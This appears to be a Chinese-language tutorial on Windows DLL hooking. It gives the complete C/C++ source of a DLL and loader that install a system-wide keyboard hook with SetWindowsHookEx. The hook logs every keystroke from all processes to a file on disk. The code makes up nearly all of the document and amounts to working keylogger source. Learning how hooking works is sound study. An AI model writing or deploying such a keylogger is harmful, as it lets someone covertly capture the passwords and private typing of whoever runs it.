DLL钩取
钩取就是在系统和应用之间设立岗哨,偷窥或截取消息的手段。
钩取不适用的情况:应用不受事件驱动。
为什么能实现钩取?
原因:
第一、windows的消息机制
第二、windows自带的API SetWindowsHookEx()
代码
KeyHook.cpp
//注:64位dll 只能钩取64位进程 32位dll 只能钩取32位进程
#include "stdio.h"
#include "windows.h"
#define DEF_PROCESS_NAME "notepad.exe"
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
FILE *fl;
char szPath[MAX_PATH] = {0,};
char *p = NULL;
char ch;
if( nCode == HC_ACTION )
{
// bit 31 : 0 => press, 1 => release
if( lParam & 0x40000000 )
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>0x2f&&wParam<=0xDE))
{
fl = fopen("D:\log.txt","a");//必须是绝对地址
if (wParam==VK_RETURN)
ch='\n';
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
}
fputc(ch,fl);
fclose(fl);
}
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HookStart()
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}
__declspec(dllexport) void HookStop()
{
if( g_hHook )
{
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif
HookMain.cpp
#include "stdio.h"
#include "conio.h"
#include "windows.h"
#define DEF_DLL_NAME "KeyHook.dll"
#define DEF_HOOKSTART "HookStart"
#define DEF_HOOKSTOP "HookStop"
typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();
void main()
{
HMODULE hDll = NULL;
PFN_HOOKSTART HookStart = NULL;
PFN_HOOKSTOP HookStop = NULL;
char ch = 0;
hDll = LoadLibraryA(DEF_DLL_NAME);
if( hDll == NULL )
{
printf("LoadLibrary(%s) failed!!! [%d]", DEF_DLL_NAME, GetLastError());
return;
}
HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);
HookStart();
printf("press 'q' to quit!\n");
while( _getch() != 'q' ) ;
HookStop();
FreeLibrary(hDll);
}